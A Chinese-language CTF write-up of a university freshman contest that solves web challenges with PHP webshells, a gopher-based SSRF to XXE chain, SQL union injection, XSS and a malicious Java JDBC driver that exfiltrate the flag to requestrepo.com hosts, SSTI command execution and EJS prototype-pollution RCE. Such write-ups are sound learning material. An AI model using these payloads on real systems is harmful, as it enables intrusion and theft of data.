目錄
一些碎碎念:
Web Guideline
2048
ezupload
hardupload
ezphp
ezweb
ezsql
webbuilder
tarit
tarit_revenge
VipDinner
simplespi
一些碎碎念:
scu新生賽是我全心全力打的第二場比賽,歷時七天,期間不免煎熬,有山重水復后仍疑無路的無能為力,有距離正解僅一念之隔的遺憾,當然,從不缺的是不斷嘗試最終打出flag的恣意。
回首看去,很多題對于現在的我極具啟發性,比賽過程也極大的提升了我的信息檢索能力(啟蒙于技能興魯的經歷)
作為3個月ctf生涯的一個階段性檢測,因為隊里就我一人,所以自認最后的成績還算可以(web12/15),給自己打個75分吧。
感謝401的師傅們出的高質量賽題,真就應了“題?難度梯度提升,在保證題?質量的同時,也有對新手循序漸進的引導”的主題。
期待下學期的校賽,希望在此之前能有破繭成蝶的蛻變!
?
下面直接貼出自己的wp
Web Guideline
查看器中直接看到flag(hidden)
2048
一眼前端js小游戲,常見的考點就是控制臺改分
直接console里盲猜一個score,發現有定義
直接改分score=99999999999
然后快速把游戲玩死,彈窗拿到flag
?
ezupload
寫馬
<?=phpinfo()?>
<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>
上傳文件時后綴改為.PHP即可繞過后綴過濾
內容檢測則用16進制轉字符串來繞過
上傳成功后看時間(看當前美國洛杉磯時間,縮小bp文件路徑爆破范圍)
<?php ?
// 設置默認時區為美國洛杉磯 ?
date_default_timezone_set('America/Los_Angeles'); ?
// 輸出當前時間 ?
echo date('H:i:s'); ?
?>
bp爆破出文件路徑
直接訪問rce拿到flag
hardupload
寫馬
<?=eval(next(getallheaders()))?>
getallheaders()返回所有的HTTP頭信息,但是要注意的一點是這個函數返回的是一個數組,而eval()要求的參數是一個字符串,所以這里不能直接用,這時我們就要想辦法將數組轉換為字符串,這里再套個next就可以返回字符串
(end也行,但這里再添加hearders貌似不是最后一位,所以盲猜next直接指向UA)
上傳時文件后綴改.PHP就可繞過后綴過濾
用下面腳本看一眼時間方便bp爆破上傳路徑
<?php ?
// 設置默認時區為美國洛杉磯 ?
date_default_timezone_set('America/Los_Angeles'); ?
// 輸出當前時間 ?
echo date('H:i:s'); ?
?>
直接訪問在UA里rce即可拿到flag
ezphp
?name=123
訪問/cache.php
?
?name=".file_put_contents('shell.php','<?php?phpinfo();?>')."
訪問/cache.php觸發file_put_contents,回顯18(符合執行成功的返回值)
?
訪問/shell.php?
成功寫入
?name=".file_put_contents('shell.php','<?php?eval($_POST[1])?>')."
訪問/cache.php觸發file_put_contents,回顯23,說明成功執行
?
訪問/shell.php
連蟻劍拿flag
?
ezweb
主機存活檢測,給了一個ip輸入框
測試有無ssrf
baidu.com,成功跳轉,猜測存在
查看頁面源代碼,還有一個xxe.php文件
看了下就是簡單的xxe注入,但是限制死了必須是本地訪問
?
現在思路就有了,利用主機存活檢測的ssrf去對xxe.php發送請求
利用gopher協議構造:
gopher://127.0.0.1:80/_
POST /xxe.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [ ?
<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]>
<info>
<name>&name;
</name></info>
需要進行兩次url編碼
gopher://127.0.0.1:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A
嘗試,直接hack,測了下,發現是127.0.0.1被禁用,直接0.0.0.0代替就行
gopher://0.0.0.0:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A
最后將得到的base64解碼即可
ezsql
簡單測一測發現是數字型注入
可以直接聯合查詢,按正常的套路走
/index.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
//flag
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"
//flag,id
/index.php?id=1 union select 1,flag from ctf.flag
//where_is_flag
?
明顯一個假的flag
sqlmap查了查別的庫感覺沒有特別明顯的flag表
想到flag在某個存儲過程的定義里面
已知flag格式為scuctf{uuid}
直接like模糊匹配
/index.php?id=-1 union select 1,routine_definition from information_schema.routines where routine_definition like '%scuctf%'
拿到flag
webbuilder
在服務器上起一個flask,源碼如下
app.py源碼from flask import Flask, request, jsonifyapp = Flask(__name__)@app.route('/test', methods=['GET'])
def test():name = request.args.get('name')# 檢查是否提供了 name 參數if not name:return jsonify(error='Name parameter is missing.'), 400# 構建返回的 JSON 數據responseData = {'len': 15,'code': 200 # 獲取當前時間戳}# 設置響應頭的 Content-Type 為 application/jsonreturn jsonify(responseData)@app.route('/redirect', methods=['GET'])
def redirect_route():# 返回狀態碼為 302 的響應return jsonify(), 302, {'Location': 'http://124.222.136.33:3000/success'}@app.route('/success', methods=['GET'])
def success_route():# Additional logic for /success route if neededreturn 'Success Route'# 新加的 /js 路由
@app.route('/js', methods=['GET'])
def js_route():return """
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>CSP with Nonce Example</title><!-- 將生成的 nonce 值傳遞到前端腳本 --><script>const nonce = 'XssFun'; // 這里替換為實際的 nonce</script><!-- 在 script 標簽中使用 nonce --><script nonce="XssFun">// 在這里執行 JavaScript 代碼,訪問本地 /flag 路由并獲取回顯fetchData()// 定義獲取數據的函數async function fetchData() {try {const response = await fetch('http://127.0.0.1:8080/flag');const data = await response.text(); // 使用 text() 獲取字符串形式的響應location.href="http://0scpvdff.requestrepo.com/?data="+encodeURIComponent(data)} catch (error) {console.error('Error fetching data:', error);}}</script>
</head>
<body><!-- 在此可以添加其他 HTML 內容 -->
</body>
</html>"""if __name__ == '__main__':app.run(host="0.0.0.0", port=3000)
因為api檢測1那里長度為10-20的隨機數,檢測2還存在4次全部都是404的可能,所以需要多次爆破
?
?
拿到uuid
訪問/report?uuid=xxx(觸發bot.js里封裝的visit,xss把flag帶出)
拿到flag
?
?
tarit
題目就是tar文件上傳,題目環境有個解包的過程,這個過程如果我們tar中有個軟連接,就會鏈接到靶機文件
?
上傳訪問
?沒找到flag文件在哪,讀環境變量偷家成功
tarit_revenge
先隨便上傳一個tar文件,發現存在一個文件讀取
經過嘗試發現../替換成了空,雙寫繞過即可
?
訪問/app.pyc看源碼
因為沒拿到pyc文件,無法反編譯,只能靠猜了(
看出應該是渲染了index.html,可以覆蓋index.html來渲染自己的py代碼(SSTI)
?
貼出腳本
import requests as req
import tarfiledef changeFileName(filename):filename.name = '/app/templates/index.html'return filenamewith tarfile.open("tar.tar", "w") as tar:tar.add('test.py', filter=changeFileName)def upload():url = 'http://43.136.40.245:1389/upload'response = req.post(url=url, files={"file": open("tar.tar", 'rb')})print(response.text)if __name__ == "__main__":upload()
?
test.py
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
//Y0u_C4nt_Find33333333_M3hhh
{{config.__class__.__init__.__globals__['os'].popen('ls /Y0u_C4nt_Find33333333_M3hhh').read()}}
//f144gggggg
{{config.__class__.__init__.__globals__['os'].popen('tac /Y0u_C4nt_Find33333333_M3hhh/f144gggggg').read()}}
//SCUCTF{S0rry_Ab0ut_Th3Th3_R3veng3_QwQ}
VipDinner
先給出參考文章
繞invited=1
MySQL 記錄不存在插入 和 存在則更新_mysql 更新或新增-CSDN博客
繞vip
mysql注入之長字符截斷、orderby注入、HTTP分割注入、limit注入_mysql注入 關鍵字截斷查詢原理預防-CSDN博客
ejsrce
EJS - Server Side Prototype Pollution gadgets to RCE | mizu.re
mysql注入之長字符截斷、orderby注入、HTTP分割注入、limit注入_mysql注入 關鍵字截斷查詢原理預防-CSDN博客
首先是繞invited
?
在/login的signup界面先更改掉Alice的密碼。把密碼覆蓋成abcd的md5值
Alice', 'awdaw')
ON DUPLICATE KEY UPDATE
??password = 'e2fc714c4727ee9395f324cd2e7f331f'#
輸入Alice abcd即可登錄拿到invited=1
接下來繞vip,
發現sql模式為空,data的容量是255
?
在note這里是可以拼接字符進去。但是vip是控不了的,肯定是false。可以在note插入大量字符串,因為數據表的data字段只能容納255,那么后面vip等于false就會被截斷掉?
?
接下來是ejsrce部分
顯然finish調用了merge
/check調用了finish
?
/bill調用了res.render()
?
下面就是調payload(長度為255即可)
用這個網站計算字符串長度
在線文本字符數統計工具 - UU在線工具
最終payload:
{"ids":[10],"createTime":"2023-12-8","price":16,"note":"aa","__proto__":{"view
options":{"client":1,"escapeFunction":"(() => {});return
process.mainModule.require('child_process').execSync('cat
/flag').toString()"}},"vip":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}
注意要給引號轉義(讓bp里識別成note的鍵值)
aa\",\"__proto__\":{\"view options\":{\"client\":1,\"escapeFunction\":\"(() =>
{});return process.mainModule.require('child_process').execSync('cat
/flag').toString()\"}},\"vip\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}
訪問/check?order=1觸發finish污染成功
訪問/bill?order=1拿到flag?
simplespi
審計代碼。代碼沒啥過濾的。就是一個上傳jar包。和寫了一個類似spi后門的東西。會加載我們的jar包
從SPI機制到JDBC后門實現 | CTF導航
加載的部分和上面文章的例子很像
關鍵就是生成一個和上面文章那個jar包結構相同的惡意jar包
?
最后新建的項目結構如圖
?
MySQLDriver類 (抄文章代碼,就改了個LinuxCmd)
package com;
import java.sql.*;
import java.util.*;
import java.util.logging.*;
public class MySQLDriver implements Driver {protected static boolean DEBUG = false;protected static final String WindowsCmd = "calc";protected static final String LinuxCmd = "curl 7s5ogi9m.requestrepo.com -T /flag";protected static String shell;protected static String args;protected static String cmd;static{if(DEBUG){Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");}if( System.getProperty("os.name").toLowerCase().contains("windows") ){shell = "cmd.exe";args = "/c";cmd = WindowsCmd;} else {shell = "/bin/sh";args = "-c";cmd = LinuxCmd;}try{Runtime.getRuntime().exec(new String[] {shell, args, cmd});} catch(Exception ignored) {}}// JDBC methods belowpublic boolean acceptsURL(String url){if(DEBUG){Logger.getGlobal().info("acceptsURL() called: "+url);}return false;}public Connection connect(String url, Properties info){if(DEBUG){Logger.getGlobal().info("connect() called: "+url);}return null;}public int getMajorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 1;}public int getMinorVersion(){if(DEBUG){Logger.getGlobal().info("getMajorVersion() called");}return 0;}public Logger getParentLogger(){if(DEBUG){Logger.getGlobal().info("getParentLogger() called");}return null;}public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){if(DEBUG){Logger.getGlobal().info("getPropertyInfo() called: "+url);}return new DriverPropertyInfo[0];}public boolean jdbcCompliant(){if(DEBUG){Logger.getGlobal().info("jdbcCompliant() called");}return true;}
}
運行下面命令就會在當前目錄生成惡意jar包
javac src/com/MySQLDriver.java
jar -cvf evil2.jar -C src/ .
上傳evil2.jar
訪問/init?name=evil2(審源碼)
這時候就成功外帶拿到flag?